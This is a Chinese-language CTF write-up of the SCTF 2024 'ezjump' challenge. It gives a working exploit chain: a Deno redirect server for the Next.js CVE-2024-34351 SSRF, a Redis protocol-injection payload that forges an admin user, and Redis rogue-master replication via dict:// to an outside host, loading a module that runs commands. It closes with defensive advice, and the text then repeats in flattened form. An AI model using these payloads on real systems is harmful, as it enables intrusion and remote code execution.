2024SCTF ezjump wp&出题记录
字数 1488 2025-08-22 12:22:54

SCTF 2024 ezjump 题目分析与解题教学

题目概述

这是一个基于 Docker 容器环境的 CTF 题目,包含三个服务:

  • fronted: 暴露在公网的 Next.js 前端服务
  • backend: 后端服务
  • redis: Redis 数据库服务

flag 位于 redis 机器的根目录 /flag

环境分析

服务架构

  • fronted 容器暴露在公网
  • backend 和 redis 容器仅在内部网络
  • flag 位于 redis 容器的根目录

fronted 服务分析

  • 使用 Next.js 14.1.0 版本
  • 有两个路由:
    • /play: 3秒内解答数学题,得分超过10000分跳转到/success
    • /success: 可直接访问(无认证)
  • 存在 CVE-2024-34351 漏洞(Next.js 的 SSRF 漏洞)

backend 服务分析

  • 提供 /login 路由,可创建新用户
  • 用户信息存储在 redis 中
  • 目标是创建 role 为 admin 的用户
  • 提供了 curl 命令执行功能(需要 admin 权限)

漏洞利用步骤

第一步:利用 Next.js SSRF 漏洞

Next.js 14.1.0 存在 CVE-2024-34351 漏洞,可通过 redirect() 函数触发 SSRF。

利用代码示例(main.ts):

Deno.serve({ hostname: "0.0.0.0", port: 8000 }, (request: Request) => {
    console.log("Request received: " + JSON.stringify({
        url: request.url,
        method: request.method,
        headers: Array.from(request.headers.entries()),
    }));
    
    // HEAD - 'Content-Type', 'text/x-component'
    if (request.method === 'HEAD') {
        return new Response(null, {
            headers: { 'Content-Type': 'text/x-component' },
        });
    }
    
    // GET - redirect to backend
    if (request.method === 'GET') {
        return new Response(null, {
            status: 302,
            headers: { Location: 'http://172.11.0.3:5000/' },
        });
    }
});

启动服务:

deno run --allow-net --allow-read main.ts

利用方法:

  1. 使用 Burp Suite 抓取跳转包
  2. 修改 Host 和 Origin 地址为攻击者 VPS 地址

第二步:Redis 字符串逃逸创建 admin 用户

分析 Utils/redis.py 发现 SET 操作时调用 waf() 函数,将 "admin" 替换为 "hacker"(多一个字符),可利用字符串逃逸。

payload 构造:

/login?username=adminadminadmin...admin%0D%0A$1%0D%0A1%0D%0A%0D%0A*3%0D%0A$3%0D%0ASET%0D%0A$15%0D%0Auser%3A5934020060%0D%0A$52%0D%0AeyJwYXNzd29yZCI6ICJleHBleHAiLCAicm9sZSI6ICJhZG1pbiJ9%0D%0A%0D%0A%0D%0A&password=123

其中:

  • 大量重复的 "admin" 用于触发字符串逃逸
  • 后续是 Redis 协议格式的 SET 命令
  • 设置用户 5934020060 的 role 为 admin

第三步:Redis 主从复制 RCE

利用 dict:// 协议进行 Redis 主从复制攻击:

  1. 准备 rogue Redis 服务器:
python3 redis_rogue_server.py -v -path exp.so -lport 21000
  1. 设置从服务器:
/login?username=5934020060&password=expexp&cmd=dict://127.0.0.1:6379/slaveof:47.108.254.70:21000
  1. 关闭 slave-read-only 配置(关键步骤):
config:set:slave-read-only:no
config:set:dir:/tmp
config:set:dbfilename:exp.so
slaveof:47.108.254.70:21000
  1. 重新写入键值对(因为主从复制会清空原有数据)

  2. 加载模块并执行命令:

module:load:./exp.so
system.exec:"cat${IFS}/flag"

关键点说明

  1. Redis 字符串逃逸

    • 利用 waf 替换导致的长度变化
    • 构造精确的 Redis 协议格式命令
    • 需要计算好偏移量
  2. 主从复制攻击

    • 需要关闭 slave-read-only 配置
    • 注意主从复制会清空从服务器数据
    • 需要重新写入用户数据
  3. 协议限制绕过

    • 题目过滤了 gopher:// 和 file://
    • 预期使用 dict://
    • 非预期可通过 gopher:/{/172.11.0.4:6379_} 等方式绕过

防御建议

  1. 对于前端:

    • 及时升级 Next.js 到安全版本
    • 对 redirect 目标进行严格校验
  2. 对于后端:

    • 实现完善的用户认证
    • 对 Redis 输入进行严格过滤
    • 避免使用用户输入拼接命令
  3. 对于 Redis:

    • 设置密码认证
    • 限制危险命令
    • 保持 slave-read-only 开启

总结

本题综合利用了:

  1. Next.js 的 SSRF 漏洞
  2. Redis 字符串逃逸
  3. Redis 主从复制 RCE
  4. 协议限制绕过技巧

完整利用链较为复杂,需要熟练掌握 Redis 协议和主从复制机制,特别是处理 slave-read-only 配置和重新写入数据的步骤是关键。

SCTF 2024 ezjump 题目分析与解题教学 题目概述 这是一个基于 Docker 容器环境的 CTF 题目,包含三个服务: fronted: 暴露在公网的 Next.js 前端服务 backend: 后端服务 redis: Redis 数据库服务 flag 位于 redis 机器的根目录 /flag 。 环境分析 服务架构 fronted 容器暴露在公网 backend 和 redis 容器仅在内部网络 flag 位于 redis 容器的根目录 fronted 服务分析 使用 Next.js 14.1.0 版本 有两个路由: /play : 3秒内解答数学题,得分超过10000分跳转到/success /success : 可直接访问(无认证) 存在 CVE-2024-34351 漏洞(Next.js 的 SSRF 漏洞) backend 服务分析 提供 /login 路由,可创建新用户 用户信息存储在 redis 中 目标是创建 role 为 admin 的用户 提供了 curl 命令执行功能(需要 admin 权限) 漏洞利用步骤 第一步:利用 Next.js SSRF 漏洞 Next.js 14.1.0 存在 CVE-2024-34351 漏洞,可通过 redirect() 函数触发 SSRF。 利用代码示例(main.ts): 启动服务: 利用方法: 使用 Burp Suite 抓取跳转包 修改 Host 和 Origin 地址为攻击者 VPS 地址 第二步:Redis 字符串逃逸创建 admin 用户 分析 Utils/redis.py 发现 SET 操作时调用 waf() 函数,将 "admin" 替换为 "hacker"(多一个字符),可利用字符串逃逸。 payload 构造: 其中: 大量重复的 "admin" 用于触发字符串逃逸 后续是 Redis 协议格式的 SET 命令 设置用户 5934020060 的 role 为 admin 第三步:Redis 主从复制 RCE 利用 dict:// 协议进行 Redis 主从复制攻击: 准备 rogue Redis 服务器: 设置从服务器: 关闭 slave-read-only 配置(关键步骤): 重新写入键值对(因为主从复制会清空原有数据) 加载模块并执行命令: 关键点说明 Redis 字符串逃逸 : 利用 waf 替换导致的长度变化 构造精确的 Redis 协议格式命令 需要计算好偏移量 主从复制攻击 : 需要关闭 slave-read-only 配置 注意主从复制会清空从服务器数据 需要重新写入用户数据 协议限制绕过 : 题目过滤了 gopher:// 和 file:// 预期使用 dict:// 非预期可通过 gopher:/{/172.11.0.4:6379_ } 等方式绕过 防御建议 对于前端: 及时升级 Next.js 到安全版本 对 redirect 目标进行严格校验 对于后端: 实现完善的用户认证 对 Redis 输入进行严格过滤 避免使用用户输入拼接命令 对于 Redis: 设置密码认证 限制危险命令 保持 slave-read-only 开启 总结 本题综合利用了: Next.js 的 SSRF 漏洞 Redis 字符串逃逸 Redis 主从复制 RCE 协议限制绕过技巧 完整利用链较为复杂,需要熟练掌握 Redis 协议和主从复制机制,特别是处理 slave-read-only 配置和重新写入数据的步骤是关键。